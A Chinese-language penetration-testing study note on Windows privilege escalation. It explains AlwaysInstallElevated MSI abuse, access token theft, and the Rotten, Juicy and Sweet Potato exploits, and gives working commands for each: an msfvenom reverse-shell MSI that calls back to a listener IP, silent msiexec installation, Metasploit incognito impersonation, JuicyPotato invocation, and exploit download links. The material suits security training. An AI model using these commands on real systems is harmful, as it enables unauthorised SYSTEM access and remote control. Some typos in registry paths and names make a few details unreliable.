Bootstrap

10月29日笔记(其余提权技术)

10月29日笔记(其余提权技术)

MSI安装策略提权是由于用户在配置MSI安装策略时,启用了“永远以高特权进行安装“(AlwaysInstallElevated

,默认情况下为禁用状态),使得任何权限的用户都可以通过 SYSTEM 权限安装MSI程序。此时测试人员可以在目标主机上安装一个预先制作的恶意MSI文件,以获得SYSTEM 权限。

MSI全称:Microsoft Installer,是微软格式的应用程序安装包,实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和程序数据。

确定是否存在漏洞

该选项启用后,系统会自动在注册表的以下两个位置创建键值“1”:

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKET_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

执行以下命令查看注册表键值来确定目标系统是否开启了AlwaysInstallElevated 选项。

reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKET_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果是1就是开启了。

创建恶意MSI并安装

使用Metasploit自动生成MSI。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.129 LPORT=4444 -f msi -o reverse_tcp.msi

将文件上传到目标主机,

msiexec /quiet /qn /i reverse_tcp.msi

/quiet,在安装期间禁止向用户发送任何消息;

/qn,无 GUI模式允许

/i,常规安装

之后再msf里开启监听就OK了。

访问令牌操纵

Windows 操作系统的访问控制模型(Access ControlModel)是 Windows 系统安全性的基础构件,由访问令牌(AccessToken)和安全描述符(SecurityDescriptor)两部分组成,二者分别被访问者和被访问者所持有。通过比较访间令牌和安全描述符的内容,Windows 可以对访问者是否拥有访问资源对象的能力进行判定。

访问令牌

当用户登录时,系统将对用户进行身份验证,如果验证通过,就会为用户创建一个访问令牌,包括登录过程返回的 SID 以及由本地安全策略分配给用户和用户所属安全组的特权列表。此后,代表该用户执行的每个进程都有此访问令牌的副本,每当线程或进程与安全对象交互或尝试执行需要特权的系统任务,系统都会使用此访问令牌标识并确定关联的用户。

Windows 中的令牌可以分为主令牌(Primary Token)和模拟令牌(ImpersonationToken)。主令牌与进程相关联,是由 Windows内核创建并分配给进程的默认访问令牌每个进程都有一个主令牌,描述了与当前进程关联的用户账户的安全上下文。默认情况下,当进程的线程与安全对象交互时,系统将使用主令牌。此外,线程可以模拟客户端

账户。模拟是指线程在安全上下文中执行的能力,并且该上下文不同于拥有该线程的进程的上下文。当线程模拟客户端时,模拟线程将同时具有主访问令牌和模拟令牌。

通常,通过操纵访问令牌,使正在运行的进程看起来是其他进程的子进程或属于其他用户所启动的进程。这常常使用内置的 WindowsAPI从指定的进程中复制访问令牌,并将得到的访问令牌用于现有进程或生成新进程,以达到权限提升并绕过访问控制的目的。这个过程被称为令牌窃取。

令牌窃取只能在特权用户上下文中才能完成,因为通过令牌创建进程使用的CreateProcessWithTokenW和 CreateProcessAsUserA 两个 Windows API分别要求用户必须拥有SeImpersonatePrivilege和 SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege 特权,而拥有这两个特权的用户一般为系统管理员账户、网络服务账户和系统服务账户(如IIS、MSSOL等)。

常规令牌窃取操作

常规的令牌窃取操作往往用来将从管理员权限提升至 SYSTEM、TrustedInstaller 等更高的系统权限。在实战中,如果本地管理员账户因为某些组策略设置无法获取某些特权,可以通过令牌窃取来假冒 NT AUTHORITY\SYSTEM 的令牌,以获取更高的系统权限。此外,令牌窃取还经常被用于降权或用户切换等操作。

利用metasploit中的窃取令牌

msf中使用方法

use incognito
# AccessToken的列举
list_tokens -u

# 模拟其他用户的令牌
impersonate_token "NT AUTHORITY\NETWORK SERVICE"

Potato家族提权

Rotten Potato(烂土豆提权)

Potato 家族正是通过滥用 Windows 服务账户拥有的这两项特权( SeAssignPrimaryTokenPrivilege 或

SeImpersonatePrivilege 特权),将已获取的 NTAUTHORITY\SYSTEM 账户的访问令牌传入CreateProcessWithTokenW或 CreateProcessAsUserA 函数进行调用,从而在NT AUTHORITY\SYSTEM 账户的上下文中创建新进程,以提升至SYSTEM 权限。

Rotten Potato 提权的实现机制相当复杂,拦截 NTLM 身份认证请求,并伪造 NT AUTHORITY\SYSTEM 账户的访问令牌,大致可以分为以下三个步骤。

① 通过 CoGetInstanceFromIStorage API,将一个COM对象(BITS)加载到本地可控的端口(TCP 6666),并诱骗 BITS 对象以 NT AUTHORITY\SYSTEM 账户的身份向该端口发起 NTLM 认证。

② 借助本地 RPC 135 端口,对BITS对象的认证过程执行中间人攻击(NTLM Relay)同时调用相关 API为 NTAUTHORITY\SYSTEM 账户在本地生成一个访问令牌。

③ 通过 NT AUTHORITY\SYSTEM 账户的令牌创建新进程,以获取 SYSTEM 权限。

下载地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

下载之后向目标主机上传。并通过以下命令在meterpreter中运行,

execute -Hc-f potato.exe

运行之后执行“list_token -u”命令,就能成功列举出NT AUTHORITY\SYSTEM 账户的令牌。然后使用 impersonate token 伪造该令牌,即可获取 SYSTEM 权限。

Juicy Potato(多汁土豆提权)

Juicy Potato 与 Rotten Potato 的原理几乎完全相同,只是在后者的基础上做了扩展以便更灵活利用 Rotten Potato。Juicy Potato 不再像 Rotten Potato 那样依赖于一个现有的Meterpreter,并且可以自定义 COM 对象加载的端口,以及根据系统版本更换可用的 COM对象。

下载地址:https://github.com/ohpe/juicy-potato/tree/master

① 上传 JuicyPotato 的利用程序,并根据操作系统版本选择一个可用的 COM 对象。在 Rotten Potato 中使用的 COM 对象为 BITS,而 Juicy Potato 为不同 Windows 版本提供了多个可以利用的COM对象。

对于测试环境 Windows Server 2016,可以选择的对象有COMXblGameSave,其 CLSID为{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}。

② 执行以下命令,运行 JuicyPotato,将获取 SYSTEM 权限并运行指定的攻击载荷并成功获取到了一个SYSTEM权限的Meterpreter

JuicyPotato.exe -t t -p C:\phpStudy\WWW\handle.exe  -l 4444 -n 135 -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}

Sweet potato

SweetPotato 集成了RottenPotato、JulyPotato、RogueWinRm和 PrintSpoofer 的功能用来将服务账户权限提升至 SYSTEM 权限。

上传目标主机后,使用如下命令:

SweetPotato.exe -a "whoami"

;